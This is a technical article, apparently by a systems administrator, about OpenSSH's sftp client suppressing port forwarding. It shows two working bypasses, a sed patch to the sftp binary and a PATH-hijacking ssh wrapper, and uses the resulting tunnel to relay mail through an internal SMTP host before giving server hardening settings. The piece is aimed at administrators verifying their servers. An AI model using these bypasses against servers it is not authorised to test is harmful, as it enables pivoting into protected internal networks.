SFTP Port Forwarding: Enabling Suppressed Functionality

SFTP Port Forwarding: Enabling Suppressed Functionality

Introduction

The SSH protocol enables three major classes of remote server activities: a) command execution (including a login shell), b) network forwarding and manipulation, and c) file transfer.

The OpenSSH maintainers have determined that sftp and scp have no legitimate use for port forwarding (via the -L and -R options). A flag to explicitly disable these features is unconditionally passed to the child SSH executable during file transfers with these utilities.

There may be users with a legitimate need for these features. An obvious subset are penetration testers tasked to verify that this capability is explicitly disabled on public SFTP servers.

Below are two techniques to enable these suppressed features, by either modifying strings in the sftp binary itself, or by redirection through shells that are able to easily edit the command line. Depending upon the capabilities of the platform, either technique might be required to achieve this goal.

Suppression Details

To begin, it is important to locate running processes of interest. The shell function below will reveal PIDs that match a shell pattern (and note this is not a regex). This runs under Debian dash (and most other common shells) and relies on BSD options to ps:

pps () { local a= b= c= IFS=$'\r'; ps ax | while read -r a
    do [ "$b" ] || c=1; for b; do case "$a" in *"$b"*) c=1;;
        esac; done; [ "$c" ] && printf '%s\n' "$a" && c=; done; }

A conventional SFTP session is launched, in order to examine the processes associated with it:

$ id
uid=1001(aturing) gid=1001(aturing) groups=1001(aturing)...

$ sftp aturing@sftp.victimandum.com
aturing@sftp.victimandum.com's password:
Connected to sftp.victimandum.com.
sftp>

We assume above that the local UNIX user has an account on the remote SFTP server of the same username.

Once the session is running, a local process search for the username reveals the child SSH process that is spawned by SFTP:

$ pps aturing
    PID TTY      STAT   TIME COMMAND
   9666 pts/0    S+     0:00 sftp aturing@sftp.victimandum.com
   9667 pts/0    S+     0:00 /usr/bin/ssh -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings yes -oForwardAgent no -l aturing -s -- sftp.victimandum.com sftp

The ClearAllForwardings yes argument above will suppress any forwarding attempts without action to subvert it.

The -L and -R port forwarding flags are not otherwise present as valid options for the SFTP command line, but we can explicitly trigger them with the -S option to specify a custom SSH handler, in this case to a mail server:

$ cat portssh
#!/bin/sh

exec ssh -L2525:smtp.victimandum.com:25 "$@"

Were the forwarding suppression not in place, this SFTP invocation would be sufficient to establish forwarding connectivity:

$ sftp -S ./portssh -oClearAllForwardings\ no aturing@sftp.victimandum.com
aturing@sftp.victimandum.com's password:
Connected to sftp.victimandum.com.
sftp>

The forwarding attempt is now visible in the child SSH process:

$ pps aturing
    PID TTY      STAT   TIME COMMAND
   9897 pts/0    S+     0:00 sftp -S ./portssh -oClearAllForwardings no aturing@sftp.victimandum.com
   9898 pts/0    S+     0:00 ssh -L2525:smtp.victimandum.com:25 -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings yes -o ClearAllForwardings no -oForwardAgent no -l aturing -s -- sftp.victimandum.com sftp

However, attempts to contact the remote mail server via the local forwarded port are not successful, due to the explicit override:

$ nc localhost 2525
$

This unconditional suppression is visible in the source code:

$ sed -n /X11/,/Forwardings/p openssh-8.7p1/sftp.c
	addargs(&args, "-oForwardX11 no");
	addargs(&args, "-oPermitLocalCommand no");
	addargs(&args, "-oClearAllForwardings yes");

These static strings are also visible in the compiled binary:

$ strings /usr/bin/sftp | grep [-]o[CFP]
-oForwardX11 no
-oPermitLocalCommand no
-oClearAllForwardings yes
-oForwardAgent no
-oPort %d

Finally, the documentation is clear that this suppression is intentional, and does give valid reasoning as to why:

$ man ssh_config | sed -n /ClearAllForwardings/,/default/p
     ClearAllForwardings
             Specifies that all local, remote, and dynamic port forwardings
             specified in the configuration files or on the command line be
             cleared.  This option is primarily useful when used from the
             ssh(1) command line to clear port forwardings set in configura‐
             tion files, and is automatically set by scp(1) and sftp(1).  The
             argument must be yes or no (the default).

Altering Compiled Strings

For those who wish to disable the default ClearAllForwardings yes configuration, one option is to directly edit the string within the SFTP binary with sed (assuming that the platform's sed is binary-safe):

$ sed 's/AllForwardings yes/AllForwardings no /' < /usr/bin/sftp > sftp.noclearforward

This direct modification is considerably less difficult than compiling a new binary.

We can confirm that the string has been successfully modified:

$ strings ./sftp.noclearforward | grep [-]o[CFP]
-oForwardX11 no
-oPermitLocalCommand no
-oClearAllForwardings no
-oForwardAgent no
-oPort %d

While the content, and the checksums, of the modified SFTP will be different, any Linux BuildID sha1 that is present will remain the same (but please do not submit support tickets when using edited SFTP):

$ file /usr/bin/sftp ./sftp.noclearforward
/usr/bin/sftp:         ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d7e77e24d5fac0fdc89e62a4c9c656091f2c4a33, for GNU/Linux 3.2.0, stripped
./sftp.noclearforward: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d7e77e24d5fac0fdc89e62a4c9c656091f2c4a33, for GNU/Linux 3.2.0, stripped

$ sha1sum /usr/bin/sftp ./sftp.noclearforward
d8bdaf0b4642b9c324f9c2e0aeee2d9578fbe383  /usr/bin/sftp
b12dda8ecfd7bd2847919b5531aea7c03364c123  ./sftp.noclearforward

$ sha256sum /usr/bin/sftp ./sftp.noclearforward
986eecdfc654c9b3ff3fd0dce59690d47cf56be96a4b98a04a3682aef95d3f52  /usr/bin/sftp
c8f99ce33fc129250c11dc6dbb8a01112e01124e470a92d0acefb955fd17d670  ./sftp.noclearforward

The modified SFTP binary can be invoked to enable port forwarding:

$ chmod 755 sftp.noclearforward

$ ./sftp.noclearforward -S ./portssh aturing@sftp.victimandum.com
aturing@sftp.victimandum.com's password:
Connected to sftp.victimandum.com.
sftp>

The modified setting is now visible in the child process:

$ pps aturing
    PID TTY      STAT   TIME COMMAND
   9991 pts/0    S+     0:00 ./sftp.noclearforward -S ./portssh aturing@sftp.victimandum.com
   9992 pts/0    S+     0:00 ssh -L2525:smtp.victimandum.com:25 -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings no  -oForwardAgent no -l aturing -s -- sftp.victimandum.com sftp

The functionality is enabled and operational on the remote server, and the connection can be verified in a separate shell:

$ nc localhost 2525
220 smtp.victimandum.com Microsoft ESMTP MAIL Service, Version: 1.2.3456.78901 ready at  Sun, 1 Jan 2023 01:23:45 -0100
^C

When forwarding functionality is disabled on the server, the client will receive notifications indicating this status upon connection attempts:

channel 3: open failed: administratively prohibited: open failed

SFTP administrators who allocate untrusted accounts should likely verify that the server configuration explicitly disables both forwarding and command execution.

Beyond POSIX Shell

While dash and the POSIX standard offer set -- as a method to reset command line parameters, a more advanced feature is available in bash and ksh93:

$ cat ynargs
#!/bin/bash

echo "${@//yes/no}"

A quick test confirms a successful edit:

$ ./ynargs -oForwardX11 no -oPermitLocalCommand yes -oClearAllForwardings yes -oForwardAgent no
-oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings no -oForwardAgent no

Note that ${@//.../...} above is not valid POSIX, and is not functional in dash or any shell derived from pdksh (mksh, oksh). There are many platforms that do not bundle shells with this functionality (examples include Android and OpenBSD, although there are methods to add them); the binary edit technique is likely more straightforward for restricted platforms, as opposed to installing alternative shells.

To exploit this feature with a capable shell, we create a directory, then create an SSH wrapper within it that clears the problem setting:

$ cat ~/switcharoo/ssh
#!/bin/bash

exec /usr/bin/ssh "${@//yes/no}"

Then set the directory ahead of the system SSH in the $PATH:

$ export PATH=~/switcharoo:$PATH

$ which ssh
~/switcharoo/ssh

Then we call the system SFTP under this modified environment:

$ /usr/bin/sftp -S ./portssh aturing@sftp.victimandum.com
aturing@sftp.victimandum.com's password:
Connected to sftp.victimandum.com.
sftp>

We observe that the shell has reset the problem parameter:

$ pps aturing
    PID TTY      STAT   TIME COMMAND
  10058 pts/0    S+     0:00 /usr/bin/sftp -S ./portssh aturing@sftp.victimandum.com
  10059 pts/0    S+     0:00 /usr/bin/ssh -L2525:smtp.victimandum.com:25 -oForwardX11 no -oPermitLocalCommand no -oClearAllForwardings no  -oForwardAgent no -l aturing -s -- sftp.victimandum.com sftp

Local connectivity to the forwarded port is again confirmed:

$ nc localhost 2525
220 smtp.victimandum.com Microsoft ESMTP MAIL Service, Version: 1.2.3456.78901 ready at  Sun, 1 Jan 2023 01:23:45 -0100
^C

As a final demonstration, a full SMTP exchange can be conducted with the following script:

$ cat awkmail
#!/bin/gawk -f

BEGIN { smtp="/inet/tcp/0/localhost/2525";
ORS="\r\n"; r=ARGV[1]; s=ARGV[2]; sbj=ARGV[3]; # /bin/awkmail to from subj < in

print "helo " ENVIRON["HOSTNAME"]        |& smtp;  smtp |& getline j; print j
print "mail from:" s                     |& smtp;  smtp |& getline j; print j
if(match(r, ","))
{
 split(r, z, ",")
 for(y in z) { print "rcpt to:" z[y]     |& smtp;  smtp |& getline j; print j }
}
else { print "rcpt to:" r                |& smtp;  smtp |& getline j; print j }
print "data"                             |& smtp;  smtp |& getline j; print j

print "From: " s                         |& smtp;  ARGV[2] = ""   # not a file
print "To: " r                           |& smtp;  ARGV[1] = ""   # not a file
if(length(sbj)) { print "Subject: " sbj  |& smtp;  ARGV[3] = "" } # not a file
print ""                                 |& smtp

while(getline > 0) print                 |& smtp

print "."                                |& smtp;  smtp |& getline j; print j
print "quit"                             |& smtp;  smtp |& getline j; print j

close(smtp) } # /inet/protocol/local-port/remote-host/remote-port

We can use the script to mail itself to a remote recipient that is accessible to the target SMTP server:

$ ./awkmail jatanasoff@victimandum.com aturning@localhost awkmail < awkmail
220 smtp.victimandum.com Microsoft ESMTP MAIL Service, Version: 1.2.3456.78901 ready at  Sun, 1 Jan 2023 01:23:45 -0100
250 smtp.victimandum.com Hello [1.2.3.4]
250 2.1.0 aturing@localhost....Sender OK
250 2.1.5 jatanasoff@victimandum.com
354 Start mail input; end with .
250 2.6.0 <A1B2C3D4E5F6G@smtp.victimandum.com> Queued mail for delivery

In highly controlled environments, the presence of these capabilities is sub-optimal.

Server Restriction

It is understandable that SFTP administrators would not wish to allow their users to make arbitrary TCP connections with the assistance of the server, potentially placing sensitive networks at risk. Restricting this activity is a prudent security setting.

The common restrictive configuration is to add untrusted SFTP users into a group, then constrain the activities of this group in sshd_config:

Match Group sftponly
  ChrootDirectory %h
  ForceCommand internal-sftp
  AllowTcpForwarding no

This recommended configuration is usually sufficient to block all attempts at forwarding.

It might be advisable to add DisableForwarding yes:

$ man sshd_config | sed -n /DisableForwarding/,/configurations/p
     DisableForwarding
             Disables all forwarding features, including X11, ssh-agent(1),
             TCP and StreamLocal.  This option overrides all other forwarding-
             related options and may simplify restricted configurations.

This is left as an exercise for the administrator.

Conclusion

Overly restrictive SFTP client settings potentially introduce some degree of server administration blindness. The SFTP client limitations are easily circumvented by multiple methods.

It is important for SFTP server administrators to understand what is limited, and where, and not to rely upon a client to keep the server safe from arbitrary TCP control. The client is under the control of the user, and TCP command of the server is far from difficult to achieve if misconfigured. Any testing should be conducted without extensive forwarding set in the user's ssh_config, heeding the warnings in the documentation.

While there are conceivable legitimate uses of this functionality, they will be few and far between abuses.

These concerns are hardly new, as variations of site exec have been available in cleartext FTP for decades. SFTP is not a simple replacement for cleartext file transfers, but itself carries many features that are easily exploited.

It is hoped that administrators will verify the security of their servers with these methods, so they are not caught unawares.

Charles Fisher has an electrical engineering degree from the University of Iowa and works as a systems and database administrator for a Fortune 500 mining and manufacturing corporation.

Load Disqus comments